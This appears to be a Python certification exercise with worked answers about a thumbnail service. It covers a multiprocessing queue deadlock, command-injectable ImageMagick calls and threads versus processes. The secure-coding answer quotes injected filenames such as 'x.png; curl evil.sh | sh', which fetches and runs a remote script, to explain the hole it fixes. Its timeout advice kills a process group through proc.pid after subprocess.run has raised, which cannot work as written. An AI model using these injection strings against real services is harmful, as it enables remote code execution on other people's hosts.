PCPP2: A thumbnail pool that hangs at join and shells out to ImageMagick

A thumbnail pool that hangs at join and shells out to ImageMagick

thumbsvc converts uploaded images with ImageMagick on a Linux host with 8 cores. At import the parent builds jobs = multiprocessing.Queue(), then pool = multiprocessing.Pool(8) (fork start method) and pool.map(convert, paths). Each convert runs subprocess.run(f"convert {src} -resize 512x512 {dst}", shell=True) and then jobs.put({"src": src, "ok": True}). The parent drains jobs only after pool.close() followed by pool.join(). In production the service now hangs after about 60% of a batch: join() never returns, workers sit in state S, and ps shows every convert child has already exited. Ops also report that one corrupt 4 GB TIFF kept a worker busy for six hours, and security review flagged the filenames, which come straight from a web form. A parallel effort to run the same code on developer MacBooks fails at start-up with pickling errors.

1. Explain precisely why `pool.join()` never returns and give at least two fixes with their trade-offs.

Read the worked answer

This is the documented "joining a process that has put data on a queue" deadlock.

A multiprocessing.Queue is backed by an OS pipe with roughly a 64 KB buffer. The parent never reads it until after pool.join(), but workers block in put() as soon as the buffer fills - after a few hundred status dicts. A worker stuck in put() never returns to the pool's task handler, so the pool cannot finish, so join() blocks forever, so the parent never drains. The convert children exiting is a red herring; the Python workers are the ones stuck.

Fix 1 - let the pool carry the results. Return the status dict from convert and collect it: for status in pool.imap_unordered(convert, paths): .... Results travel on the pool's own result queue, which Pool drains internally. Simplest and fastest; costs you the ability to push an event from inside a worker before the task finishes.

Fix 2 - drain concurrently. Start a threading.Thread that consumes jobs before calling close()/join(), or use multiprocessing.Manager().Queue(), whose server process buffers. Fix 2 keeps the push model but adds a process and pickling overhead.

Fix 3 - restructure on concurrent.futures.ProcessPoolExecutor + as_completed, which is the modern API and has no separate close/join ordering trap (the with block handles it).

Regardless of fix: never create a Queue at import and rely on fork inheritance - under the spawn start method (macOS default since 3.8) the pool cannot pickle the module-level global or the locally defined convert, which is exactly the MacBook start-up failure. Always pass such objects as Pool(initializer=..., initargs=...) or as function arguments.

2. Rewrite the subprocess call safely and add a timeout that actually terminates ImageMagick.

Read the worked answer

shell=True with an f-string built from a web-form filename is remote command execution: a file named x.png; curl evil.sh | sh or x`id`.png runs whatever the attacker wants, with the service's privileges.

Safe invocation:

real = os.path.realpath(src)
if os.path.commonpath([real, UPLOAD_ROOT]) != UPLOAD_ROOT or not os.path.isfile(real):
    raise ValueError("path outside upload root")

proc = subprocess.run(
    ["convert", "--", real, "-limit", "memory", "256MiB", "-resize", "512x512", dst],
    shell=False, check=True, capture_output=True, timeout=120,
    start_new_session=True,
)

Points of judgement:

shell=False with a list means no shell metacharacter interpretation at all - this, not quoting, is the fix.
-- terminates option parsing so a file literally named -resize is not treated as a flag.
realpath + commonpath blocks symlink and ../ escapes out of the upload directory.
-limit memory and an ImageMagick policy.xml cap decompression bombs; a 4 GB TIFF can otherwise expand to hundreds of GB.

Timeout: subprocess.run(timeout=...) kills only the direct child. ImageMagick spawns delegate processes that survive and keep the worker's pipe open. Set start_new_session=True so the child leads its own process group, then on subprocess.TimeoutExpired call os.killpg(os.getpgid(proc.pid), signal.SIGKILL). Without the process group the six-hour job is only half-fixed.

3. Given this workload, argue for processes or threads, and state what would flip the decision.

Read the worked answer

Threads win here. The GIL is irrelevant to this pipeline: the CPU work happens inside the convert child process, not in Python. From the parent's perspective each job is I/O-bound - spawn, wait, reap. Processes therefore buy nothing and cost a great deal: 8 extra interpreters, pickling of paths and statuses, the queue deadlock above, and a class of start-method bugs that only appear on macOS/Windows.

ThreadPoolExecutor(max_workers=16) plus subprocess.run gives the same 8-core utilisation (convert itself is multithreaded and the OS schedules it), with no IPC and no pickling, and the pool's futures give you per-file results and cancellation for free.

What would flip it to processes:

In-process Python work on the pixels (Pillow Image.resize) instead of shelling out - that is CPU-bound and GIL-serialised, so processes genuinely needed.
Per-task state that is expensive to share, or tasks that must be isolated because a segfault in a C library would take down the whole server.
Needing real memory isolation between tenants.

Practical note: size the thread pool to the actual concurrency limit, not to core count. If convert uses 4 threads internally and the box has 8 cores, 2–4 concurrent conversions saturate it; 16 just queue. Cap with a threading.BoundedSemaphore around the subprocess call so a batch of 10,000 uploads cannot create 10,000 waiting children.